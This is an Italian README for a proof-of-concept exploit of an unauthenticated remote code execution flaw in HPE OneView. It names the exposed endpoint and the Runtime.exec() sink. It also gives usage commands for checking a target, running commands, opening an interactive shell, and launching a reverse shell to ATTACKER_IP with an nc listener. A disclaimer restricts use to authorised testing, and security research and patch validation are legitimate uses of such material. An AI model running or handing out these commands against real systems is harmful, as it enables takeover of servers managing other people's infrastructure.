CVE-2025-37164 - PoC di RCE non autenticata su HPE OneView

Exploit Proof-of-Concept per CVE-2025-37164, una vulnerabilità critica (CVSS 10.0) di esecuzione remota di codice non autenticata in HPE OneView.

AVVERTENZA

QUESTO SOFTWARE È FORNITO SOLO A SCOPO EDUCATIVO E PER TEST DI SICUREZZA AUTORIZZATI.

• Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta per il test
• L'accesso non autorizzato a sistemi informatici è illegale
• L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento
• Questo strumento è destinato alla ricerca di sicurezza difensiva e al penetration testing in ambienti controllati

Dettagli della vulnerabilità

• CVE ID: CVE-2025-37164
• Punteggio CVSS: 10.0 (CRITICO)
• Fornitore: Hewlett Packard Enterprise (HPE)
• Prodotto: HPE OneView (versioni precedenti alla 11.0)
• Tipo: Esecuzione remota di codice non autenticata
• Patch: Aggiornare a HPE OneView 11.0 o superiore

Analisi tecnica: La vulnerabilità risiede nell'endpoint PUT /rest/id-pools/executeCommand che non richiede autenticazione e passa input controllato dall'utente direttamente a Runtime.exec().

Prerequisiti

• Python 3.6+
• Libreria requests (pip install requests)
• Istanza vulnerabile di HPE OneView (con funzionalità 'id pools' abilitata)

Utilizzo

# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check

# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"

# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i

# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444